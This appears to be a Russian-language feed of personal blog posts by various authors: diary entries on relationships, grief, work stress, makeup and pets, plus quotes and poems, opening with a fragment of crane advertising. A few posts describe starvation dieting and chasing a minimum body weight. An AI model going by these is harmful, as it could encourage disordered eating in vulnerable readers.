сотрудники тщательно проверяют ньюансы помещения и рассчитывают на компьютере будущие нагрузки, возложенных на конструкцию. Заказчик может выбрать кран мостовой различной модификации — ручным, электрическим или радио управлением, варианты грузоподъемных тележек — грейферная, магнитно-грейферная, крюковая либо другие подъемные усовершенствования. На деле, создавая и монтируя, персональный проект, кран мостовой однобалочный или совсем иной. Мостовые краны всегда компануются и рассчитываются для конкретного заказчикаучитывая имеющиеся целевые пожелания. Любой подъемный механизм собирается, а потом транспортируется к покупателю только после подробного рассчета предстоящих условий эксплуатации.

Когда девушки носят одежду на несколько размеров больше, специально, чтоб она на них болталась - это выглядит вроде: "эй, смотрите, я не толстая, на мне XL вон висит совсем!"

ребят, мне так нужна ваша поддержка

просто пара теплых слов могут исправить буквально все

Не представляю как люди радуются жизни. Долгие годы шла к тому, чтобы понять, что я исчерпана и выплеснута на земь. В пустую, без какой-либо надежды на восполнение.
Воздержание от эмоций сделало меня усталой, грубой, бесчувственной, потерянной, сухой. Осознаю это, когда прихожу с работы и обижаю своих домашних. Мне очень-очень жаль, что стресс влияет на меня таким образом. Я буду стараться, правда, буду очень сильно стараться, чтобы все, что грязнет во мне от взаимодействия с негативными людьми - будет только моей проблемой. Мне бы очень хотелось быть сосудом, в который все втекает и благополучно вытекает. Но я ведь всего лишь человек. И сверхсила подобного рода обошла меня стороной.
Жаль, что…я пытаюсь быть максимально отзывчивым человеком, но это не обеспечивает тебе никакого спокойствия: свободу от намеков на то, что ты ублюдски-тупой, недоразвитый бездельник. Всегда велика вероятность, что на твою отзывчивость приходится в двое больше пинков под зад. Не думала, что когда-то начну говорить такое. Но, это правда. Немного грустно, что не все держатся такой философии.

Не так давно отправила парня в армию. Думала, что буду спокойно реагировать на его отъезд. Буду более собранной. В общем-то… я держусь, да, держусь. Но с его отъездом захотелось удалиться ото всюду, уничтожить все записи о себе, чтобы никто не писал мне, никто не искал, чтобы было время на книги, рисование, сборку шлемов - но…, оказывается, мне сейчас совсем не хочется делать что бы то ни было. Только продолжать ходить на работу и возвращаться в постель. Оказывается, у многих взрослых людей все именно так и устроено. Поразительно, как жизнь может стать просто убийственно упаднической. Работа-сон, сон-работа.Временами вылозки с друзьями, немилые фразочки в твой адрес. Где же тут черпать вдохновение для рисунков? Или желание читать?

А еще меня почти повысили. Если приказ до декабря подпишут, то я буду существенно, приятно повышена в цене… и надеюсь, это сделает мою жизнь проще. Раньше многие проблемы и усталость от жизни выражались в том, что слишком многое было запретно, было по просту для меня недоступно. Оно и сейчас мне все недоступно. Но появился шанс сделать себя лучше как кадр, получить хоть крошечку веса в социальной действительности.

Признание, ощущение хоть какой-то значимости помогли бы мне больше любых допингов. Возможно, это отвлекло бы меня немного от отъезда моего самого главного утешения. Н. Раньше я думала, что… если вдруг судьба нас разъединит - так тому и быть. Но, перед отъездом я начала для себя понимать, что… он столп, на котором держится мое существо. Наверное, мне сейчас было бы гораздо хуже, если бы мы никогда с ним не столкнулись. Он же - пример лояльности, терпимости и добросердечия. Поразительно, какой он достойный. Можно долго ковыряться и фыркать на окружающих тебя молодых людей. Но я для себя выбрала и в кой-то веки не ошиблась. Мне с ним всегда было спокойно и комфортно. Поэтому, с его отъездом я решила для себя… что…буду прикладывать все усилия, чтобы, пока он находится в армии - тут его ждал уверенный, устойчивый тыл в виде слабой и разваливающейся меня, но зато преданной.
И, пусть этот год пройдет скорее.

У меня все.

Помнится раньше, я абсолютно не понимала, как она могла быть такой спокойной, когда у неё умер близкий человек. А просто сначала приходит ужас, потом накатами оцепенение, потом на следующий день ты встречаешься с людьми, которые ничего об этом не знают и не будут знать, поэтому они так же шутят, улыбаются тебе, говорят гадости, кто во что горазд. И на какой-то период тебя отпускает боль. А потом ты остаёшься наедине и все мысли снова сворачиваются в одну точку. Не верю, не хочу верить. Это не правда. И тебе снится сон, что все это ложь. Что она так же будет ждать тебя летом, говорить, что ты для неё самая любимая внучка, беспокоиться за твои экзамены больше, чем ты, а потом спрашивать, ну что, ты уже когото нашла? Я тебя люблю

Разведи огонь
И посреди холодного дня
Скажи мне: "Я приду "
Я тебя не подведу

Считаю, что краситься должна уметь каждая девушка. И не только тушью и бальзамом для губ.

И все было прекрасно: я могу сделать себе красоту на лице, за исключением, пожалуй, идеальных черных стрелок и контура губ с яркой помадой.

До сегодняшнего вечера мои губы были тонкими (в сочетании с красной помадой), а стрелки были кривыми и разными.

И вот сегодня случилось тройное чудо: я сделала все!

П.с. Я вообще против категорически увеличения губ, прокраски их за контуром, отчего они становятся как два пельменя. (что-то грешат этим все последнее время), но сегодня решила подправить свой контур буквально на чуточку заступая за контур верхней губы и получилось чудо: красная помада визуально не сузила их, они стали симметричными! Чудо!

Я идеально сделала стрелки на глазах + наклеила накладные китайские ресницы, который многие из вас наверное знают, естественной длины с прозрачной лентой. Они легли как влитые: удобно и мягко.

И вот, что я поняла: помаду наносить нужно кисточкой.

Сегодня еще "черная пятница". Понятия не имею, что это такое, но в любимом интернет-магазине скидки на палетку теней, которую я уже сто лет хочу, а денег заказать нет. Но я не отчаиваюсь - это не последние скидки в моей жизни.

Кароч, я сегодня использовала магию вне Хогвартса.

Вот пишу это и Гарри Поттера пересмотреть захотелось…

чувствую такую ужасную привязанность

Это так страшно - разочаровываться в людях, за которых готова была отдать все.

Извини, если я кажусь незаинтересованной
Или не слушаю, или выгляжу равнодушно.

У меня точно нет здесь никаких дел,
Но раз мои друзья здесь,
я пришла, чтобы завязать с этим.
Хотя, по правде говоря, я бы лучше посидела одна у себя дома,
А не в этой комнате с людьми,
которым наплевать на меня.

Много людей почему-то хотят куда-то уехать: из своего дома/квартиры, из города, страны, континента.

И я не понимаю этой тенденции, когда говорят, мол, уеду и мне будет лучше. Новое место, новые люди, эмоции, обстановка в целом.

Я сменила уже 4 места жилья, из которых 3 разных населенных пункта и 4 разных квартиры/места пребывания.

И одно могу сказать точно: меняется лишь обстановка внутри. Ничего лучше не становится: я та же самая, только в другой квартире.

Прав был тот, кто сказал, что неважно куда ты поедешь: ты всегда берешь с собой себя. Это, сук, чистейшая правда.

Если в своем мухосранске ты был унылым и никому не нужным, то и в мировых столицах будет так же. Менять нужно не обставноку, а себя.

И сколько бы не раскаивались мы,
Но в глубине души на веки будут с нами

Грехи, грехи, грехи, грехи, грехи,
Которые не искупить словами.

— Губерман.

© Ошо

Сейчас я, как и 8 месяцев назад, жду его с работы. Ничего не изменилось, кроме нас двоих.

Недавно я услышала те самые главные три слова. Все хорошо и страшно. Я еще никогда ни за кого так не переживала. Мои планы на будущее стираются, появляются "наши" планы, которые более оптимистичны и невероятны.

Любые мысли о будущем все также вызывают сильную тревогу. Раньше я хотела лишь бесконечно говорить ему обо всем в своей голове, ведь он меня понимает лучше всех других, а сегодня внезапно по неизвестной причине захотелось иметь тайны. И вообще после этих "самых главных слов" я как будто протрезвела и на все взглянула со стороны. Как будто получила долгожданный приз и теперь анализирую. Теперь я точно знаю, что он уверен в нас и в нашем будущем, а я думаю, на самом ли деле я всего этого хочу? Лучше было бы провести какое-то время в одиночестве.

Надо заканчивать с этими размышлениями, а то они до добра не доведут.

Я уволилась и собираюсь уйти в академ. И я готова к тому, что моя семья перестанет со мной общаться. Я не знаю, почему я так всегда поступаю. Но я не могу по-другому.

пытаюсь припомнить, где и когда я чувствую себя уютно и в своей тарелке. не получается

Выбесила сегодня такая ситуация: написала П.она прочла, но не ответила.Пишу ей "что ты мне не отвечаешь." а дальше..а дальше снова эта С.! Опять взяла ее телефон и опять пишет мне хуйню.Мол неприлично ныть, ко ко П.учится, ответит когда сможет. а в конце вообще послала нахуй.
На минутку: когда я училась/была на практике/работала-я ВСЕГДА отвечала П. Один раз у меня преподша даже телефон забрала на всю пару и я переживала, что не смогу ответить.
Как это вообще?Писать ЗА ДРУГОГО человека и посылать его нахуй? и это мне пишет молокососка, которая любит выпить и выглядит быдловато.Да и плюс пиздела за спиной П. вместе с А. (хотя П. сейчас говорит, что С.не при чем.ага ага)
Я получу те браслеты и вышлю блять ей по почте.Пусть обменяются с С. нахуй, раз она заебись такая.И ничего, что это Я ее близкий человек.
Пока ехала до больницы, плакала.Потом сидела во дворике больницы, пытаясь успокоится.Пока шла на занятие-в голове появился текст, который я хотела написать П. по поводу этой ситуации.Он был истеричный.Сейчас я подостыла и просто напишу, что если я для нее близкий и дорогой человек, то она скажет в категоричной форме этой С. чтобы та не смела брать телефон и писать с него.И что эта ситуация в последний раз.
Господи, чего не сделаешь ради любви.Даже притушишь свои эмоции почти до минимума.
Очень хочу приехать в КТ, найти ее и пару раз потоскать за волосяндры.
Так все.Успокоится.Все норм.Наверно.
Но моему вечеру пиздец.Купила кое-что алкогольное и буду немножечко Бриджит Джонс в начале первого фильма.К черту.Я заебалась.
Надеюсь, браслеты на трехлетие нашего с любимой П. знакомства будут ей приятны.

Физически нет сил что-то читать, смотреть, учить. Валяюсь на кровати в темноте и понимаю, что даже это радости не приносит. Зато глаза красиво накрасила, но все равно никуда не пошла. Так и живем.

я больше не звоню ему. не стоит.
он дал мне столько холода тем летом,
что можно было Арктику надстроить,
что можно было заморозить всю планету.

мир умер. я брожу по парапету.
в попытках рвать саму себя на части.
и сжаться в ком, и заорать в чужое небо:
" я больше не ищу тебя" ты счастлив?

Эрих Фромм

Я так ждала выходных. С таким облегчением думаю о том, что завтра мне никуда не идти, вставать во сколько хочу и смотреть фильмы сколько хочу.

в пятницу все отдыхают, на концертах, в Геше катаются на борде, трахаются. а ты сидишь одинокий и третьи выходные борщи варишь.  а на самом деле у меня впереди рабочий день и 4 выходных. и это после Нска. знаете, заебали меня эти вечные идеи - переехать куда то, влюбиться, чем то заняться. я такой глупый человек, мне кажется. устала очень от "всё в один момент" пожалуйста, дай мне сил, доделать всё что я начала и начать что то новое. весомое. но сначала сил! не потухнуть. умоляю. 

Давно не заходила сюда, просто стоолько дел, что ничего не успеваешь. Ужасный семестр. Ну главное, что есть поддержка.

Чувствую, что мне нужно проблеваться ему в лицо.

у меня второй день болит сердце. вчера я думала, что, может, зажало нерв где-то, попросила маму меня потянуть. вроде легче стало, а через некоторое время опять начало колоть. сегодня болит сильнее, чем вчера, и колет чаще и дольше. хнык: (

/////

На конференции. Наши лица пиздец как светятся от счастья :D

Emilia Clarke by Lachlan Bailey for Dior Magazine

Jensen Ackles

Ashley Benson

Так странно все. Хочется знать ответы. Ответы на вопросы: что чувствовал этот человек? То же, что и я или нет? Что чувствует сейчас? И всякие "а что если…?" Я все время разрываюсь между: "да ну это все" и "это моя судьба". Так интересно наблюдать за тем, как жизнь дает тебе новые возможности и новых людей, нужные книги и музыку, что все идет как надо (надеюсь). Но вот честно. Мне не хватает тех чувств, что я отдавала и получала. Для меня это очень важно. Хочется любви, тепла, надежности какой-то. На самом деле, мне сейчас нужна какая-то цель. И вот еще кстати, когда отпускаешь мысли определенные, это к тебе приходит. Отгадайте, кто дал о себе знать хаха

Rihanna - Bitch Better Have My Money

утром всё было нормально, но к вечеру начался какой-то пиздец. люди как ошалели. плюс я сижу и постоянно надо что-то делать: то кого-то записать, то зарегистрировать, то сделать расписание. что делает в этот момент управляющая? жужжит у меня над ухом о каких-то съемных квартирах, строительстве дома, о её потрясающей дочке, которая так потрясающе поела в детском саду. ты же видишь, чем я занята. я не моя напарница, которая раззинет рот и будет слушать, чтобы потом за ней подчищали её хвосты. я хочу всё нормально сделать. пиздец. в такие моменты, когда я на 2 минуты отхожу от рабочего места, я закрываю на несколько секунд глаза и думаю о том, что однажды я просто проснусь и заплачу со словами "я не хочу ни на какую работу". всё-таки мне тяжело работать по 13,5 часов да ещё и постоянно с людьми. если бы не два предстоящих выходных, у меня бы уже прямо тут же случился нервный срыв. хочу домой под одеялко. и лучше телепортироваться. не хочу на этот холод.

Фантастические звери и места их обитания.

Экранизация книги «Фантастические звери и места их обитания» является первым из серии фильмов, сценарий для которых напишет Дж. К. Роулинг. Фильм не будет являться приквелом или сиквелом «Гарри Поттера», но волшебный мир будет тот же — за 70 лет до того как мальчик со шрамом покинул обычный мир и отправился в школу чародейства и волшебства.

Премьера в РФ 17 ноября 2016.
Я уверена, это будет круто. Круто настолько, насколько это вообще возможно.

шикарные ножки

Не целуют тебя, да не балуют,

И не носят охапки роз,

Ты хоть раз находила мужчину,

С которым ты не ревешь?

На допросе:

— Скажите, ваш сосед когда-нибудь давал вам наркотики?

— Нет.

— А его жена?

— Извините, речь все еще идет о наркотиках?

Хочу в эту атмосферу *_*

Джоджо Мойес, Эмилия Кларк и Сэм Клафлин

Я могу смотреть на это фото вечно.

Чтобы вести блог на ютубе меня точно не хватит, я такая большая трусиха.. И я даже в перископе не могу снять ничего потому что стесняюсь; ((

Когда кого-то любишь и этот человек не рядом, грустно слушать песни о любви. У меня всегда так: задумываюсь, как сильно люблю и аж больно становится. Хоть он и со мной.

Как в картах, с нуля, но с теплым прошлым в сердце.
Всегда хочется помнить важное, хочется не повторять ошибок, хочется быть рядом в тех моментах. Начав с глобального…
Когда мне исполнилось 16 лет, я думала моя жизнь поделена на "до" и "после"…
Так было в 17, в 19 тоже было так, но не об этом.
Сейчас мне почти 22, я смело могу сказать, что ровно в 20 моя жизнь была разделена на "до" и "после", как в том сне, что снился много лет подряд, кажись в апреле, один раз в год.
Никому фактически выбора не дано. Шахматная доска, ты за белых, а может ты за черных, да плевать на это, если ты хоть немного понимаешь о чем речь, хоть немного возмущён. Побег - это лучшее, что нам оставили из вероятно возможного. А я в ярости. Я человек, человек, у которого нет дома, и дом это не кирпичное строение, дом это обитель тепла, уюта, атфосфера смеха, счастья, это все только воспоминания. Все, что наполняет меня сейчас - это мрак, тоска, слово "должна" тоже неотъемлемая часть. В общем всё ровно так же, как сейчас за окном, серо и сыро.
Я не могу сказать, что я несчастна, единственное, меня удручает то, что так как было не будет никогда. Я боюсь не успеть увидеть тех людей, обнять и сказать спасибо. Порой мы вынуждены делать выбор, порой мы просто вынуждены.
Сейчас я обитаю в Одессе. Я закрываю глаза и вижу море. Кажется так я всегда говорила.
МИЛЫЕ! РОДНЫЕ! ЛЮБИМЫЕ! Я всегда сердцем с вами, не отдаляйтесь от меня, ведь расстояние это так, мелочь. Мы вместе научились ценить детали, вместе прошли испытания, вместе получали опыт, вместе рушили барьеры и формировали себя. С тоскою в сердце я вспоминаю свой Донецк, свой Кировск. Последняя мысль, перед уездом была такова: "за год мы повзрослели, а за 4 вовсе стали не теми". С продолжением…
27.11.2015

Если вы хотите воспитать из своих детей хороших людей, тратьте на них в два раза меньше денег и в два раза больше времени.

Так, чисто теоритически: мой вес ушёл до 55кг, которые я не видела с класса 9. А теперь очень интересующий меня вопрос: какой максимум, предел моего минимального веса?

Скинула Китти ссылку на "звёздные папы", где был Бэкхмен, Питт и прочие. Очень милые фоточки крутых отцов со своими детьми.

В печали мою посуду, Милаша сидит в углу, ожидая, пока я освобожусь..

К фильму готовы. Полинка-малинка решила не палиться перед контролёрами кинозала и не дополнила нашу фотку-композицию пивом со вкусом грейпфрута, в красивого цвета этикетке.

Стоило уйти от Полинки-малинки, как прежний настрой мнгновенно вернулся..

Ну что я могу о себе рассказать? Сейчас напишу по пунктам.

Зовут Алиса, мне 24 года

Вышла замуж 14.08.15.

Вожу машину - год водительского стажа, ни дня не могу без неё. Когда еду, чувствую себя как в своём мире, в своей капсуле, которая спасает от любой непогоды и от плохого настроения.

Коллекционирую медведей (т.к. люблю этих животных) всяких плюшевых, маленьких, больших, из кожи, из соломы. Привожу или мне привозят из различных путешествий. Иногда просто зайду в магазин - увижу и куплю. Недавно, например, купила прелестного вязанного мишку в Мск. Уже около 25 мишек у меня.

Закончила Московский гуманитарный университет (в 2013). По специальности - культуролог.

Очень люблю культуру, точнее всё, что с ней связано: выставки, концерты, новости, красивая архитектура. (поэтому я и закончила такой универ ). Каждый день вычитываю, что-то новое и интересное. Слежу за самыми свежими выставками, особенно в Москве.

Есть две прекрасные близкие подруги - Лера и Настя. Они мне как сёстры, хоть мы и живём в разных городах, они в Мск я у себя в Череповце. Но ездим друг к другу и каждая встреча самая лучшая и запоминающаяся. Очень рада, что села с ними за одну парту на 1-ом курсе.

Очень люблю сладкое: особенно зефир, мёд, шоколад, рахат-лукум. Особенно, никак не могу с этим справиться, каждый Новый год, всем заказываю сладкие подарки. (я просто так люблю эти сладкие коробочки-сюрпризы, всегда интересно какие конфеты попадуться) и пусть мне 24 и я не вижу здесь ничего такого.

Люблю очень готовить. Если мне грустно, или нечего делать я иду на кухню и начинаю творить) от супов до десертов)

Занимаюсь (как хобби) мыловарением, и не давно стала пробовать делать бомбочки для ванн. Иногда на заказ делаю, а так в оснавном на подарки.

Стоооолько всего произошло за эту неделю! Буквально "проглатывала" каждый день, чтобы быстрее пришел четверг, мой день. Но так много событий произошло, что я не успела все осмыслить, откладывая на потом, как в книге "унесенные ветром" говорила Скарлет: "я подумаю об этом завтра". И вот выходные, я наконец осталась наедине с собой и есть время подумать обо всем, осмыслить. До сих пор не осознаю, что вчера был мой день и что он уже прошел. Некоторые очень расстроили своими "на отвали" поздравлениями, но да ладно) Очень много людей меня удивили вчера. Столько подарков, цветов, тёплых слов, пожеланий, улыбок, смеха и мохито, что моя голова кругом пошла) Всё было чудесно!

про горе і не щастя писалось набагато більше і краще, ніж про щастя:с

Дискуссии с братом.

Фактически сесть на кошку? Почему бы и да.

Милаша обожает, когда гладишь ей ушко, за ушком.

И снова Китти порадовал..

Вот такая штука была в посылке, Китти начал прикалываться над Миланой.

Первый приём пищи в 5 вечера? Это ещё норма для меня.

Накормил, чай сделал, посуду помыл, лампочку вкрутил.

Монстро.

Этот момент настал- мы делаем лаваш!!!

Счастьерадость, колготы у меня! Оказывается, меня обманули в магазине, когда звонила- 3 пары обошлись в 1900руб, а не почти в 3000руб. Папенька сказал, что мне купили 2 пары чёрных и одну серую, расстроилась, очень хотела синие. Какова же была радость, когда увидела синюю пару! И расстройство, когда коричневую, ибо у меня есть коричневые и ношу я их крайне редко. Но всё равно довольна.)

И, наконец, спустя 2 недели дошла до почты и забрала посылку- косметичку. В жизни она намного лучше, чем на фото. Приятно.

не знаю
що
написати.

а так
би
хотіла.

Сегодня я окончательно убедилась в том, что наша преподавательница по социальным наукам та еще тварь.
В общем, у нас сейчас идут дни конференций, в организации которых задействована наша группа. И главный организатор эта самая преподавательница. Вчера так вышло, что у нас не было занятий, т.к. помогали ей в подготовке к сегодняшнему дню (то на кафедру сходить надо было, то на почту, то в администрацию и т.д). И вчера же она четко и ясно рассказала (раз 10), ко скольки и в каком составе приходить сегодня на конференцию: к 9:30 приходят ребята, которые встречают гостей, принимают вещи в гардеробе и те, кто сидит за стойкой регистрации. Все остальные приходят к 14:00, т.к. до этого времени будут проходить заседания, где присутствие студентов, м.. Не то, чтобы нежелательно, но, в общем, нас там быть не должно было.
Встаю сегодня утром, никуда не тороплюсь, т.к. в этой конференции я не работаю, работаю в другой (та, что в понедельник будет), собиралась ехать к двум. Сажусь готовиться к экзамену по истории кино, и тут мне звонят из деканата и орут в трубку, что какого хрена, где группа, в своём ли я уме, и что я, оказывается, сорвала им мероприятие, не донеся информацию одногруппникам о том, что надо было приезжать ВСЕМ составом к 8(!!) утра.
Я, мягко говоря, охренела. Попыталась объяснить, но это было бесполезно, т.к. они там передавали друг другу трубку и все поочередно орали на меня, в том числе и эта преподша, которая уже говорила совсем не то, что вчера всей группе. Знаете, я чуть не подавилась от такой наглости. Написала ребяткам - те тоже были в недоразумении. Ну, что, собралась и поехала в деканат разбираться, че за херня вообще. Хотела собрать всю группу, чтобы они со мной пошли, но в итоге успели подъехать только четверо. В деканате в тот момент, на удивление, оказалась нормальная такая женщина, я ей спокойно объяснила ситуацию, что с неоднократных слов главного организатора конференции основная часть группы должна была явиться к двум часам дня, а волонтеры к 9:30 утра, что даже и речи не было о явке полного состава к этому времени, и мои слова может подтвердить абсолютно вся группа. Написала объяснительную директору - все, кто был со мной, расписались в подтверждение. Она нас поняла, сказала, чтобы мы не переживали, т.к. ни в чем не виноваты. Завтра в объяснительной распишется вся группа, и тогда на этот раз влетит уже не мне, а этой гадине. Да и сегодня, как я поняла, уже влетело немного - в конце дня мы втроем с девочками сидели на кафедре, возились с бумагами (опять по конференции), она зашла к нам, чтобы еще раз обговорить план действий в понедельник, и, знаете, вся такая милая, улыбается, смеется, будто ничего и не произошло. И что больше всего убило: время от времени обращалась ко мне и говорила: "Да, Юля?" Что, мол, в следующий раз то не подведи меня! ебанько, блять :D Я стою и просто закипаю от такой несправедливости, дико хотелось высказать все, что о ней думаю, но понимала, что если я это сделаю, то в период сессии группа скажет мне большое "спасибо" за то, что их всех завалили по социальным наукам. Черт с ним. Все, что надо было сказать, я уже сказала деканату.
Что может быть проще переложить свои же косяки на студентов, тем самым прикрыв свой драгоценный зад?)
Ну да ладно. По приходу в деканат у меня был бунтарский настрой - вообще хотела послать всех (вплоть до того, чтобы отказаться от должности старосты и посоветовать им поискать более ответственного человека, ха) и не пойти к двум часам на конференцию, но все-таки пошла. У нас там была кофе-пауза - для всех накрыли стол с самыми разными видами выпечки - блинчики, трубочки с кремом, пирожные, маффины, бублики, пряники, пирожки.. Ну, и чаек (со сливками: 3), разумеется. Прелесть. Единственное, что сегодня порадовало. Ну, и как я случайно выстрелила степлером в Соню :D Это было весело.

Одногруппница познакомила меняяя, пусть будет Р. Какой он клевый! Просто идеальный, правда! Я даже не знаю как описать свои эмоции. Такой добрый и светлый человек, это просто неописуемо!  Хорошо общаемся с ним. Но я торопиться не буду. А то я только это и делаю в этом году, будто пожить не успею.

На 12.10 была назначена на депиляцию. Честно сказать, если б не запись- так рано не проснулась бы, из дома в холод не вышла. Однако, записалась- будь добра, прийди. Даже в конец света.) Да и, тем более, очень хорошо общаемся с депиляторшей. Попила кофе, к моей радости и экономии времени знала, что сегодня надену, укадываться не нужно было, так что сборы много времени не заняли. Всегда бы так..) Как обычно, делили с депиляторшей последними новостями, в частности, про животных. А потом, впервые за всё время, что к ней хожу, а это уже года 4, она в разговоре упомянула про свою бесплодность.. Я это знала от мамы, с обещанием никогда не начинать эту тему, однако в этот раз Оля сама её затронула.. Была ли я удивлена? Мягко сказать, да. Я была, как минимум, ошеломлена.

На улице дикий холод, серость, а эта бедная девочка стоит в ветренном, открытом месте и продаёт шарики…

Увидела голубков, подошла к ним поближе. Буквально через пару секунд их становилось всё больше и все с интересом рассматривали меня, а я их.)

И, в самом деле, этой богине или кто она там, самое место под лестницей. Белорусские дизайнеры беспощадны.

Зачем кушать, когда можно выпить вторую чашку кофе за утро. В данном случае, белый шоколад, который я безумно люблю.

"Прекрасное" настроение- залог такого же "прекрасного" дня.

Валерище-демонище.

Ссоры ссорами, но всё равно пусть мне готовит.

Очень примерный мальчик собрался в колледж, на приём к директору.

Тот самый пуловер, который я покупала себе, но подарила Китти. Да, он мужской..)

Радует, как может.

Сумка досталась мне за копейки. Спасибо одному милому мальчику.)

Увидев у меня ручки с космосом, папенька попросил и ему купить.)

Носков много не бывает, особенно миленьких, домашних.)

И штучки на ключи я купила Китти, а пандочку себе.

Кроссовок NB, мишка Me To You, Миньон и Салли на ключи- мои маленькие подарки.

Я у Милашы лучшая подушка.

Господибожемой, как же они похожи. +100000 миллионное сходство Китти и папеньки.

Антимимими.

Подарила Китти в память о себе одного мишку.

А теперь маленькая история о том, как Китти начал меня стебать. Совсем недавно я обратила внимание на свои пальцы на ногах и сказала, что они мне не нравятся, я чудовище. Сообщила родителям, что они родили меня монстром. С этого дня Китти начал каждодневно подкалывать меня моими же загонами. В данном случае кривоножка подразумевает стёб моих загонов касательно пальчиков.)

Как бы мне не хотелось верить в судьбу, но нет.случайности случайны

абсолютно случайны.все вокруг ничего не значит.все происходит только в моей голове

у меня слезы наворачиваются от мыслей, что человек, однажды появившийся в ноябре, так вовремя появившийся, человек который был рядом тогда, потом пропавший практически без вести, по очень важным, конечно, причинам

и появился снова.ноябрь.ровно два года спустя.просто появился.так же ниоткуда, как и тогда.и казалось бы, с теми же эмоциями

а еще изза того, что мне необходимо было увидеть человека еще один гребаный, возможно последний раз, проебала кое что более важное.

написав тогда ночью эту фразу в заметках, пришло сообщение.и следующие несколько часов мне казалось, что игра стоит свеч

у меня все два года под рукой были часть тех стикеров, которые я планировала отдать для благого дела.и только сейчас я думаю о том, что они всегда были напоминанием о том, что я все и всегда делаю поздно или неправильно

судьба?нихуя

человек даже не понял, что произошло.моряк слишком долго плавал, что бы уловить суть

учитывая кучу остальных прозаичных подробностей

мужчина моей мечты оказался мудаком

и я уже язык стерла, говорить всем вокруг:раньше он был хорошим

Если б Вы только знали, какие у меня сейчас мысли в голове.. Что со мной происходит, чёрт побери?! Я хочу ВСЁ бросить и просто бежать, неведомо куда.

Написал письмо владельцу небольшого отеля:
— Я хотел бы взять с собой собаку. Она хорошо воспитанна, конечно, не доставит хлопот. Вы не возражаете?

На что получил ответ:
— Я содержу отель в течение многих лет, и никогда ни одна собака не крала мои полотенца, постельные принадлежности или картину со стены. Я никогда не должен был вызывать полицию из-за того, что собака напилась и начала скандал среди ночи. И никогда не случалось, чтобы собака не оплатила счет. Поэтому с радостью приветствую собаку, и, если она поручится за вас — вы также можете приехать.

– О, камера!

То чувство, когда ты три месяца ночами делал ЭОР, когда он забрал у тебя пол жизни, и тут внезапно сайт летит к чертям, оставляя на месте многодневных трудов просто пустое место, и все, что отвечают преподы - это "Ваши проблемы. Сами решайте, что делать. Но до 12 декабря все курсы должны быть проделаны заново". Ваши, проблемы!!
Все бы ничего, если бы от баллов, заработанных на ЭОРе не зависели оценки экзаменов и зачеты.
И если бы не надвигалась сессия.
Так не вовремя. И так не хватает времени.

Я все успею. Я точно все успею. Иначе и быть не может!)

Как же повезло тем, чьи родители родителей оставляют своим детям в наследство квартиру. Моего папеньку в этом обделили.. Старшая сестра обманула, подделала документы, хотя и дед виноват. При желании, всё можно было б доказать.. Теперь у сестёр по две квартиры, по одной из которых они сдают. А у нас всего 2 квартиры: нашей семьи и бабули (мама мамы). А у Китти: 2 или 3. Одна отчима, вторая их, трёхкомнатная, где проипасаны он с братьями, сейчас сдаётся, и бабушки, где она живёт с его дядей (братом мамы). Совсем нерадужная картина выходит..

О да, "замечательные" дни.

Во-первых, я поссорилась с парнем и похоже больше бы общаться не будем, он дал ясно понять. Ну что ж, удачи пряник, спасибо что дал мотивацию взяться за себя, это был хороший толчок.

Во-вторых, т.к вес стоял на месте, я хотела сделать сегодня питьевую на йогуртах, но жестко нажралась. Да нажралась так, что помутнело в голове и было тяжело идти. Мда, теперь еда не кажется мне такой классной.
Сегодня у меня был читтинг, с завтрашнего дня опять сажусь на голод с напарницей. Будем друг друга поддерживать, когда так я поговорить ни с кем не могу. Боже, как это вовремя: З

Взять хотя бы год назад, когда что-то шло не так. Тогда я все воспринимала близко к сердцу и сильно переживала, но видимо на только к этому привыкла, что сейчас все повернулось в другую сторону. Я живу, я приобретаю свой беценный опыт.

Она вообще немного странная…
Такая необычная и пряная…
На вид безумно нежная…
И далеко не безмятежная…
Она любить умеет сильно…
Не держит никого насильно…
Её мечты не связаны с деньгами…
Она с такими идёт разными путями…
Она не любит пафос и ничтожность…
Несправедливость, ложь и гордость…
И презирает меркантильных сук…
Которых пруд пруди вокруг…
Ей так плевать, о чем вы говорите за спиной…
Любить её не обязательно толпой..
И нравиться она не будет вам стараться…
И, если вы ушли, не станет возвращаться…
С ней трудно.. невозможно… нереально…
Она смеяться может, а потом заплакать моментально..
Любить и очень долго ждать…
Но не дождавшись, разлюбить, минут за пять…
Она все время чем-то не довольна…
И может не специально, сделать очень больно…
Так импульсивна, так принципиальна…
И Боже мой, безумно сексуальна…
За что её любить, зачем она нужна?
Когда так непонятна и сложна…
Взглянув в её глаза, ты все поймешь..
А прикоснувшись к её сердцу, не уйдёшь…

(c) Надежда Ухач

Знаете, как выглядит десятый круг ада? Стоять за дверью, за которой идет потрясающий спектакль и не иметь возможности войти. Работа в театре, она такая.

на самом деле мне похуй, и я никогда ни на кого не обижаюсь. просто я люблю ебать мозг и напоминать людям, что надо следить за речью

Расцветай пока в тебе хоть что-то осталось.

Если я не добьюсь своих целей, не обзаведусь собственным домом, домом для родителей, не построю приют для животных, не открою благотворительный фонд и не съезжу в Диснейленд, путешествия- уничтожу себя нахрен. Не хочу быть обычным обывателем, биомассой на планете, которая будет бесполезной.

Смотрю сейчас на одном сайте рубрику "квартиросъёмка". Она о миленьких, стильный квартирках обычных семей.. Как же я мечтаю о своём доме, господибожемой! О свой гардеробной, стеклянных стеллажах\шкафичках с моими коллекциями: мишек Me To You, комиксов Marvel и любимых Barbie. Как же больно, именно больно, а не завидно, видеть подобное у кого-то. Ко всему прочему, в меня снова вслелилась уверенность, что своё будущее я проведу в одиночестве "личного домашнего зоопарка"…

Ну, да, конечно, и снова эти чёртовы огромные слёзы.

Почему-то мы все любим совершать глупости, но затем, боимся нести за эти глупости ответственность. А еще мы любим говорить громкие слова, а потом делать вид, что такого никто не говорил. Это касается и меня тоже, и близкого мне друга. Наши ситуации никак не связаны между собой, просто мы решили в один момент наломать дров, понимая, что в конце останемся у разбитого корыта, но пока ведь весело!!! Странно, значимость какого-либо действия мы понимаем уже совершив его.

Сижу и думаю, зачем было писать ему и снова начинать общаться? Да, в какой-то момент я снова подумала, что этот человек мужчина моей жизни, я в нем уверена на все 100% и знаю, что этот человек меня никогда не предаст, и это всё правда. Но я не уверена, что я его никогда не предам и т.д. Выходит, что я снова играюсь чужими чувуствами, что снова кого-то обижу. Сказав на днях натянутое "да", я отчетливо понимала и понимаю, что это только ради того, чтобы избавиться от скуки, и если попадется другой человек, я уйду, как всегда уходила. Я не понимаю, почему я к нему ничего не чувствую и не могу себя заставиь любить человека и не понимаю, зачем я издеваюсь над ним

Принесёт ли чёрный кот несчастье, главным образом зависит от того, человек ты или мышь.

